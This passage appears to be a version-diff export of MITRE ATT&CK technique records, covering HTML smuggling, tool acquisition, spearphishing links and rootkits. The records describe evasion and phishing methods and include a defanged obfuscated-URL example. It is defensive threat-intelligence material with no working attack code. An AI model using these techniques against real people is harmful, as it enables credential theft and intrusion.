| > | stemRoot%\\System32\\Config`) physical files.(Citation: Micros | ||||
| > | oft Fileless) |
text/plain and/or text/html. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.\n\nFor example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as msSaveBlob.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/006",
"external_id": "T1027.006"
},
{
"source_name": "Outlflank HTML Smuggling 2018",
"description": "Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.",
"url": "https://outflank.nl/blog/2018/08/14/html-smuggling-explained/"
},
{
"source_name": "MSTIC NOBELIUM May 2021",
"description": "Microsoft Threat Intelligence Center (MSTIC). (2021, May 27). New sophisticated email-based attack from NOBELIUM. Retrieved May 28, 2021.",
"url": "https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/"
},
{
"source_name": "HTML Smuggling Menlo Security 2020",
"description": "Subramanian, K. (2020, August 18). New HTML Smuggling Attack Alert: Duri. Retrieved May 20, 2021.",
"url": "https://www.menlosecurity.com/blog/new-attack-alert-duri"
},
{
"source_name": "nccgroup Smuggling HTA 2017",
"description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved September 12, 2024.",
"url": "https://www.nccgroup.com/us/research-blog/smuggling-hta-files-in-internet-exploreredge/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Stan Hegt, Outflank",
"Jonathan Boucher, @crash_wave, Bank of Canada",
"Krishnan Subramanian, @krish203",
"Vinay Pidathala"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:27.501000+00:00\", \"old_value\": \"2025-04-15 19:59:12.085000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\\n\\nConsider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives.\\n-\\n-Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}",
"previous_version": "1.2",
"version_change": "1.2 \u2192 1.3",
"changelog_mitigations": {
"shared": [
"M1048: Application Isolation and Sandboxing"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0313: Detection Strategy for HTML Smuggling via JavaScript Blob + Dynamic File Drop"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-01 02:08:33.977000+00:00",
"modified": "2025-10-24 17:49:10.900000+00:00",
"name": "Tool",
"description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\n\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/002",
"external_id": "T1588.002"
},
{
"source_name": "Sentinel Labs Top Tier Target 2025",
"description": " Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today\u2019s Adversaries. Retrieved May 22, 2025.",
"url": "https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/"
},
{
"source_name": "Analyzing CS Dec 2020",
"description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
"url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
},
{
"source_name": "Recorded Future Beacon 2019",
"description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.",
"url": "https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers"
},
{
"source_name": "Forescout Conti Leaks 2022",
"description": "Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.",
"url": "https://www.forescout.com/resources/analysis-of-conti-leaks/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"SOCCRATES",
"Mnemonic AS",
"Menachem Goldstein"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Malware Repository: Malware Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:10.900000+00:00\", \"old_value\": \"2025-04-15 23:16:21.007000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \\n\\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \\u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\\n\\nTool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)\", \"old_value\": \"Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\\n\\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\\n+Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). \\n \\n-Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).\\n+Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. Tools may also be leveraged for testing \\u2013 for example, evaluating malware against commercial antivirus or endpoint detection and response (EDR) applications.(Citation: Forescout Conti Leaks 2022)(Citation: Sentinel Labs Top Tier Target 2025)\\n+\\n+Tool acquisition may involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries). Threat actors may also crack trial versions of software.(Citation: Recorded Future Beacon 2019)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Sentinel Labs Top Tier Target 2025\", \"description\": \" Tom Hegel, Aleksandar Milenkoski & Jim Walter. (2025, April 28). Top Tier Target | What It Takes to Defend a Cybersecurity Company from Today\\u2019s Adversaries. Retrieved May 22, 2025.\", \"url\": \"https://www.sentinelone.com/labs/top-tier-target-what-it-takes-to-defend-a-cybersecurity-company-from-todays-adversaries/\"}, \"root['external_references'][4]\": {\"source_name\": \"Forescout Conti Leaks 2022\", \"description\": \"Vedere Labs. (2022, March 11). Analysis of Conti Leaks. Retrieved May 22, 2025.\", \"url\": \"https://www.forescout.com/resources/analysis-of-conti-leaks/\"}, \"root['x_mitre_contributors'][2]\": \"Menachem Goldstein\"}}",
"previous_version": "1.1",
"version_change": "1.1 \u2192 1.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy, steal, or download software tools that | t | 1 | Adversaries may buy, steal, or download software tools that |
| > | can be used during targeting. Tools can be open or closed so | > | can be used during targeting. Tools can be open or closed so | ||
| > | urce, free or commercial. A tool can be used for malicious p | > | urce, free or commercial. A tool can be used for malicious p | ||
| > | urposes by an adversary, but (unlike malware) were not inten | > | urposes by an adversary, but (unlike malware) were not inten | ||
| > | ded to be used for those purposes (ex: [PsExec](https://atta | > | ded to be used for those purposes (ex: [PsExec](https://atta | ||
| > | ck.mitre.org/software/S0029)). Tool acquisition can involve | > | ck.mitre.org/software/S0029)). Adversaries may obtain tool | ||
| > | the procurement of commercial software licenses, including f | > | s to support their operations, including to support executio | ||
| > | or red teaming tools such as [Cobalt Strike](https://attack. | > | n of post-compromise behaviors. Tools may also be leveraged | ||
| > | mitre.org/software/S0154). Commercial software may be obtain | > | for testing \u2013 for example, evaluating malware against commer | ||
| > | ed through purchase, stealing licenses (or licensed copies o | > | cial antivirus or endpoint detection and response (EDR) appl | ||
| > | f the software), or cracking trial versions.(Citation: Recor | > | ications.(Citation: Forescout Conti Leaks 2022)(Citation: Se | ||
| > | ded Future Beacon 2019) Adversaries may obtain tools to sup | > | ntinel Labs Top Tier Target 2025) Tool acquisition may invo | ||
| > | port their operations, including to support execution of pos | > | lve the procurement of commercial software licenses, includi | ||
| > | t-compromise behaviors. In addition to freely downloading or | > | ng for red teaming tools such as Cobalt Strike. In addition | ||
| > | purchasing software, adversaries may steal software and/or | > | to freely downloading or purchasing software, adversaries ma | ||
| > | software licenses from third-party entities (including other | > | y steal software and/or software licenses from third-party e | ||
| > | adversaries). | > | ntities (including other adversaries). Threat actors may als | ||
| > | o crack trial versions of software.(Citation: Recorded Futur | ||||
| > | e Beacon 2019) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing emails with a malicious l | t | 1 | Adversaries may send spearphishing emails with a malicious l |
| > | ink in an attempt to gain access to victim systems. Spearphi | > | ink in an attempt to gain access to victim systems. Spearphi | ||
| > | shing with a link is a specific variant of spearphishing. It | > | shing with a link is a specific variant of spearphishing. It | ||
| > | is different from other forms of spearphishing in that it e | > | is different from other forms of spearphishing in that it e | ||
| > | mploys the use of links to download malware contained in ema | > | mploys the use of links to download malware contained in ema | ||
| > | il, instead of attaching malicious files to the email itself | > | il, instead of attaching malicious files to the email itself | ||
| > | , to avoid defenses that may inspect email attachments. Spea | > | , to avoid defenses that may inspect email attachments. Spea | ||
| > | rphishing may also involve social engineering techniques, su | > | rphishing may also involve social engineering techniques, su | ||
| > | ch as posing as a trusted source. All forms of spearphishin | > | ch as posing as a trusted source. All forms of spearphishin | ||
| > | g are electronically delivered social engineering targeted a | > | g are electronically delivered social engineering targeted a | ||
| > | t a specific individual, company, or industry. In this case, | > | t a specific individual, company, or industry. In this case, | ||
| > | the malicious emails contain links. Generally, the links wi | > | the malicious emails contain links. Generally, the links wi | ||
| > | ll be accompanied by social engineering text and require the | > | ll be accompanied by social engineering text and require the | ||
| > | user to actively click or copy and paste a URL into a brows | > | user to actively click or copy and paste a URL into a brows | ||
| > | er, leveraging [User Execution](https://attack.mitre.org/tec | > | er, leveraging [User Execution](https://attack.mitre.org/tec | ||
| > | hniques/T1204). The visited website may compromise the web b | > | hniques/T1204). The visited website may compromise the web b | ||
| > | rowser using an exploit, or the user will be prompted to dow | > | rowser using an exploit, or the user will be prompted to dow | ||
| > | nload applications, documents, zip files, or even executable | > | nload applications, documents, zip files, or even executable | ||
| > | s depending on the pretext for the email in the first place. | > | s depending on the pretext for the email in the first place. | ||
| > | Adversaries may also include links that are intended to in | > | Adversaries may also include links that are intended to in | ||
| > | teract directly with an email reader, including embedded ima | > | teract directly with an email reader, including embedded ima | ||
| > | ges intended to exploit the end system directly. Additionall | > | ges intended to exploit the end system directly. Additionall | ||
| > | y, adversaries may use seemingly benign links that abuse spe | > | y, adversaries may use seemingly benign links that abuse spe | ||
| > | cial characters to mimic legitimate websites (known as an \"I | > | cial characters to mimic legitimate websites (known as an \"I | ||
| > | DN homograph attack\").(Citation: CISA IDN ST05-016) URLs may | > | DN homograph attack\").(Citation: CISA IDN ST05-016) URLs may | ||
| > | also be obfuscated by taking advantage of quirks in the URL | > | also be obfuscated by taking advantage of quirks in the URL | ||
| > | schema, such as the acceptance of integer- or hexadecimal-b | > | schema, such as the acceptance of integer- or hexadecimal-b | ||
| > | ased hostname formats and the automatic discarding of text b | > | ased hostname formats and the automatic discarding of text b | ||
| > | efore an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586 | > | efore an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586 | ||
| > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | > | 937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | ||
| > | may also utilize links to perform consent phishing, typicall | > | may also utilize links to perform consent phishing/spearphis | ||
| > | y with OAuth 2.0 request URLs that when accepted by the user | > | hing campaigns to [Steal Application Access Token](https://a | ||
| > | provide permissions/access for malicious applications, allo | > | ttack.mitre.org/techniques/T1528)s that grant immediate acce | ||
| > | wing adversaries to [Steal Application Access Token](https: | > | ss to the victim environment. For example, a user may be lur | ||
| > | //attack.mitre.org/techniques/T1528)s.(Citation: Trend Micro | > | ed into granting adversaries permissions/access via a malici | ||
| > | Pawn Storm OAuth 2017) These stolen access tokens allow the | > | ous OAuth 2.0 request URL that when accepted by the user pro | ||
| > | adversary to perform various actions on behalf of the user | > | vide permissions/access for malicious applications.(Citation | ||
| > | via API calls. (Citation: Microsoft OAuth 2.0 Consent Phishi | > | : Trend Micro Pawn Storm OAuth 2017)(Citation: Microsoft OAu | ||
| > | ng 2021) Adversaries may also utilize spearphishing links t | > | th 2.0 Consent Phishing 2021) These stolen access tokens all | ||
| > | o [Steal Application Access Token](https://attack.mitre.org/ | > | ow the adversary to perform various actions on behalf of the | ||
| > | techniques/T1528)s that grant immediate access to the victim | > | user via API calls.(Citation: Microsoft OAuth 2.0 Consent P | ||
| > | environment. For example, a user may be lured through \u201ccons | > | hishing 2021) Similarly, malicious links may also target de | ||
| > | ent phishing\u201d into granting adversaries permissions/access v | > | vice-based authorization, such as OAuth 2.0 device authoriza | ||
| > | ia a malicious OAuth 2.0 request URL .(Citation: Trend Micro | > | tion grant flow which is typically used to authenticate devi | ||
| > | Pawn Storm OAuth 2017)(Citation: Microsoft OAuth 2.0 Consen | > | ces without UIs/browsers. Known as \u201cdevice code phishing,\u201d a | ||
| > | t Phishing 2021) Similarly, malicious links may also target | > | n adversary may send a link that directs the victim to a mal | ||
| > | device-based authorization, such as OAuth 2.0 device author | > | icious authorization page where the user is tricked into ent | ||
| > | ization grant flow which is typically used to authenticate d | > | ering a code/credentials that produces a device token.(Citat | ||
| > | evices without UIs/browsers. Known as \u201cdevice code phishing, | > | ion: SecureWorks Device Code Phishing 2021)(Citation: Netsko | ||
| > | \u201d an adversary may send a link that directs the victim to a | > | pe Device Code Phishing 2021)(Citation: Optiv Device Code Ph | ||
| > | malicious authorization page where the user is tricked into | > | ishing 2021) | ||
| > | entering a code/credentials that produces a device token.(Ci | ||||
| > | tation: SecureWorks Device Code Phishing 2021)(Citation: Net | ||||
| > | skope Device Code Phishing 2021)(Citation: Optiv Device Code | ||||
| > | Phishing 2021) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may send spearphishing messages with a malicious | t | 1 | Adversaries may send spearphishing messages with a malicious |
| > | link to elicit sensitive information that can be used durin | > | link to elicit sensitive information that can be used durin | ||
| > | g targeting. Spearphishing for information is an attempt to | > | g targeting. Spearphishing for information is an attempt to | ||
| > | trick targets into divulging information, frequently credent | > | trick targets into divulging information, frequently credent | ||
| > | ials or other actionable information. Spearphishing for info | > | ials or other actionable information. Spearphishing for info | ||
| > | rmation frequently involves social engineering techniques, s | > | rmation frequently involves social engineering techniques, s | ||
| > | uch as posing as a source with a reason to collect informati | > | uch as posing as a source with a reason to collect informati | ||
| > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | > | on (ex: [Establish Accounts](https://attack.mitre.org/techni | ||
| > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | > | ques/T1585) or [Compromise Accounts](https://attack.mitre.or | ||
| > | g/techniques/T1586)) and/or sending multiple, seemingly urge | > | g/techniques/T1586)) and/or sending multiple, seemingly urge | ||
| > | nt messages. All forms of spearphishing are electronically | > | nt messages. All forms of spearphishing are electronically | ||
| > | delivered social engineering targeted at a specific individu | > | delivered social engineering targeted at a specific individu | ||
| > | al, company, or industry. In this scenario, the malicious em | > | al, company, or industry. In this scenario, the malicious em | ||
| > | ails contain links generally accompanied by social engineeri | > | ails contain links generally accompanied by social engineeri | ||
| > | ng text to coax the user to actively click or copy and paste | > | ng text to coax the user to actively click or copy and paste | ||
| > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | > | a URL into a browser.(Citation: TrendMictro Phishing)(Citat | ||
| > | ion: PCMag FakeLogin) The given website may be a clone of a | > | ion: PCMag FakeLogin) The given website may be a clone of a | ||
| > | legitimate site (such as an online or corporate login portal | > | legitimate site (such as an online or corporate login portal | ||
| > | ) or may closely resemble a legitimate site in appearance an | > | ) or may closely resemble a legitimate site in appearance an | ||
| > | d have a URL containing elements from the real site. URLs ma | > | d have a URL containing elements from the real site. URLs ma | ||
| > | y also be obfuscated by taking advantage of quirks in the UR | > | y also be obfuscated by taking advantage of quirks in the UR | ||
| > | L schema, such as the acceptance of integer- or hexadecimal- | > | L schema, such as the acceptance of integer- or hexadecimal- | ||
| > | based hostname formats and the automatic discarding of text | > | based hostname formats and the automatic discarding of text | ||
| > | before an \u201c@\u201d symbol: for example, `hxxp://google.com@115758 | > | before an \u201c@\u201d symbol: for example, `hxxp://google.com@115758 | ||
| > | 6937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | > | 6937`.(Citation: Mandiant URL Obfuscation 2023) Adversaries | ||
| > | may also embed \u201ctracking pixels\u201d, \"web bugs\", or \"web beaco | > | may also embed \u201ctracking pixels,\u201d \"web bugs,\" or \"web beaco | ||
| > | ns\" within phishing messages to verify the receipt of an ema | > | ns\" within phishing messages to verify the receipt of an ema | ||
| > | il, while also potentially profiling and tracking victim inf | > | il, while also potentially profiling and tracking victim inf | ||
| > | ormation such as IP address.(Citation: NIST Web Bug) (Citati | > | ormation such as IP address.(Citation: NIST Web Bug)(Citatio | ||
| > | on: Ryte Wiki) These mechanisms often appear as small images | > | n: Ryte Wiki) These mechanisms often appear as small images | ||
| > | (typically one pixel in size) or otherwise obfuscated objec | > | (typically one pixel in size) or otherwise obfuscated object | ||
| > | ts and are typically delivered as HTML code containing a lin | > | s and are typically delivered as HTML code containing a link | ||
| > | k to a remote server. (Citation: Ryte Wiki)(Citation: IAPP) | > | to a remote server.(Citation: Ryte Wiki)(Citation: IAPP) A | ||
| > | Adversaries may also be able to spoof a complete website us | > | dversaries may also be able to spoof a complete website usin | ||
| > | ing what is known as a \"browser-in-the-browser\" (BitB) attac | > | g what is known as a \"browser-in-the-browser\" (BitB) attack. | ||
| > | k. By generating a fake browser popup window with an HTML-ba | > | By generating a fake browser popup window with an HTML-base | ||
| > | sed address bar that appears to contain a legitimate URL (su | > | d address bar that appears to contain a legitimate URL (such | ||
| > | ch as an authentication portal), they may be able to prompt | > | as an authentication portal), they may be able to prompt us | ||
| > | users to enter their credentials while bypassing typical URL | > | ers to enter their credentials while bypassing typical URL v | ||
| > | verification methods.(Citation: ZScaler BitB 2020)(Citation | > | erification methods.(Citation: ZScaler BitB 2020)(Citation: | ||
| > | : Mr. D0x BitB 2022) Adversaries can use phishing kits such | > | Mr. D0x BitB 2022) Adversaries can use phishing kits such a | ||
| > | as `EvilProxy` and `Evilginx2` to perform adversary-in-the- | > | s `EvilProxy` and `Evilginx2` to perform adversary-in-the-mi | ||
| > | middle phishing by proxying the connection between the victi | > | ddle phishing by proxying the connection between the victim | ||
| > | m and the legitimate website. On a successful login, the vic | > | and the legitimate website. On a successful login, the victi | ||
| > | tim is redirected to the legitimate website, while the adver | > | m is redirected to the legitimate website, while the adversa | ||
| > | sary captures their session cookie (i.e., [Steal Web Session | > | ry captures their session cookie (i.e., [Steal Web Session C | ||
| > | Cookie](https://attack.mitre.org/techniques/T1539)) in addi | > | ookie](https://attack.mitre.org/techniques/T1539)) in additi | ||
| > | tion to their username and password. This may enable the adv | > | on to their username and password. This may enable the adver | ||
| > | ersary to then bypass MFA via [Web Session Cookie](https://a | > | sary to then bypass MFA via [Web Session Cookie](https://att | ||
| > | ttack.mitre.org/techniques/T1550/004).(Citation: Proofpoint | > | ack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Hu | ||
| > | Human Factor) Adversaries may also send a malicious link in | > | man Factor) Adversaries may also send a malicious link in t | ||
| > | the form of Quick Response (QR) Codes (also known as \u201cquish | > | he form of Quick Response (QR) Codes (also known as \u201cquishin | ||
| > | ing\u201d). These links may direct a victim to a credential phish | > | g\u201d). These links may direct a victim to a credential phishin | ||
| > | ing page.(Citation: QR-campaign-energy-firm) By using a QR c | > | g page.(Citation: QR-campaign-energy-firm) By using a QR cod | ||
| > | ode, the URL may not be exposed in the email and may thus go | > | e, the URL may not be exposed in the email and may thus go u | ||
| > | undetected by most automated email security scans.(Citation | > | ndetected by most automated email security scans.(Citation: | ||
| > | : qr-phish-agriculture) These QR codes may be scanned by or | > | qr-phish-agriculture) These QR codes may be scanned by or de | ||
| > | delivered directly to a user\u2019s mobile device (i.e., [Phishi | > | livered directly to a user\u2019s mobile device (i.e., [Phishing | ||
| > | ng](https://attack.mitre.org/techniques/T1660)), which may b | > | ](https://attack.mitre.org/techniques/T1660)), which may be | ||
| > | e less secure in several relevant ways.(Citation: qr-phish-a | > | less secure in several relevant ways.(Citation: qr-phish-agr | ||
| > | griculture) For example, mobile users may not be able to not | > | iculture) For example, mobile users may not be able to notic | ||
| > | ice minor differences between genuine and credential harvest | > | e minor differences between genuine and credential harvestin | ||
| > | ing websites due to mobile\u2019s smaller form factor. From the | > | g websites due to mobile\u2019s smaller form factor. From the fa | ||
| > | fake website, information is gathered in web forms and sent | > | ke website, information is gathered in web forms and sent to | ||
| > | to the adversary. Adversaries may also use information from | > | the adversary. Adversaries may also use information from pr | ||
| > | previous reconnaissance efforts (ex: [Search Open Websites/D | > | evious reconnaissance efforts (ex: [Search Open Websites/Dom | ||
| > | omains](https://attack.mitre.org/techniques/T1593) or [Searc | > | ains](https://attack.mitre.org/techniques/T1593) or [Search | ||
| > | h Victim-Owned Websites](https://attack.mitre.org/techniques | > | Victim-Owned Websites](https://attack.mitre.org/techniques/T | ||
| > | /T1594)) to craft persuasive and believable lures. | > | 1594)) to craft persuasive and believable lures. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use rootkits to hide the presence of program | t | 1 | Adversaries may use rootkits to hide the presence of program |
| > | s, files, network connections, services, drivers, and other | > | s, files, network connections, services, drivers, and other | ||
| > | system components. Rootkits are programs that hide the exist | > | system components. Rootkits are programs that hide the exist | ||
| > | ence of malware by intercepting/hooking and modifying operat | > | ence of malware by intercepting/hooking and modifying operat | ||
| > | ing system API calls that supply system information. (Citati | > | ing system API calls that supply system information. (Citati | ||
| > | on: Symantec Windows Rootkits) Rootkits or rootkit enablin | > | on: Symantec Windows Rootkits) Rootkits or rootkit enablin | ||
| > | g functionality may reside at the user or kernel level in th | > | g functionality may reside at the user or kernel level in th | ||
| > | e operating system or lower, to include a hypervisor, Master | > | e operating system or lower, to include a hypervisor or [Sys | ||
| > | Boot Record, or [System Firmware](https://attack.mitre.org/ | > | tem Firmware](https://attack.mitre.org/techniques/T1542/001) | ||
| > | techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkit | > | . (Citation: Wikipedia Rootkit) Rootkits have been seen for | ||
| > | s have been seen for Windows, Linux, and Mac OS X systems. ( | > | Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike | ||
| > | Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac | > | Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) Rootki | ||
| > | OSX Rootkit) | > | ts that reside or modify boot sectors are known as [Bootkit] | ||
| > | (https://attack.mitre.org/techniques/T1542/003)s and specifi | ||||
| > | cally target the boot process of the operating system. |
